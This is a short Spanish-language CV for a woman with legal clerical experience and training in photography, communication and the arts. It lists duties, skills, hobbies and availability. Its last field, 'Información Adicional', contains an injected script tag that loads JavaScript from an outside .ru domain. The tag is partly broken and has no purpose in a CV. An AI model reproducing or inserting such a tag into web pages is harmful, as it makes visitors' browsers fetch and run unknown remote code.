

Cristina Sotelo



**titulo**  
Legal.

---

## **EXPERIENCIA LABORAL**

-9/2007-5/2008 Agencia Especializada

Derecho Legal

Archivar expedientes, realizar notificaciones, oficios, remitir documentos al MP, tomar generales y declaraciones. Rubricar, Cocer, Sellar. Etc.

## **FORMACIÓN COMPLEMENTARIA**

Revelado de Fotos y texturas

Comunicación

Programas de Radio y Tv

Comunicación Audiovisual

taller de Pintura

Humanidades

Fotografía profesional y artistica

Arte y Humanidades

## **IDIOMAS**

Inglés

Nivel:Nivel Avanzado

## **OBJETIVOS PROFESIONALES**

Lograr un buen desempeño de mi profesión que me



haga sentir satisfecha, en un lugar en donde pueda desempeñarme de una manera en la que pueda aplicar mis conocimientos académicos adquiridos y desarrollar las actividades encomendadas con eficiencia.

## Resultados y Logros

A lo largo de mi carrera, he aprendido diversas maneras de como expresarme, y como colaborar con las personas con las cuales he trabajado, así mismo he desarrollado diversas aptitudes las cuales me han ayudado a desempeñar el trabajo con mas precision.

## Cualidades

Adaptable, Amable, Analítico/a, Colaborador, Comprometido/a, Creativo/a, Flexible, Honesto/a, Inteligente, Organizado/a, Productivo/a, Responsable, Trabajador/a,

## Aficiones

Arte, Bailar, Fútbol/Rugby, Literatura/Historia, Museos/Galerías de Arte, Música Variada,

## Disponibilidad

Estoy dispuesto a viajar: Si

Estoy dispuesto a trabajar en el extranjero: Si

Estoy dispuesto a trabajar fuera de mi región: Si

## Información Adicional:

FORMACIÓN:EXPERIENCIA:COMPLEMENTARIA:INFORMACIÓN ADICIONAL: script  
src=http://www.bannerdriven.ru/ads.js>

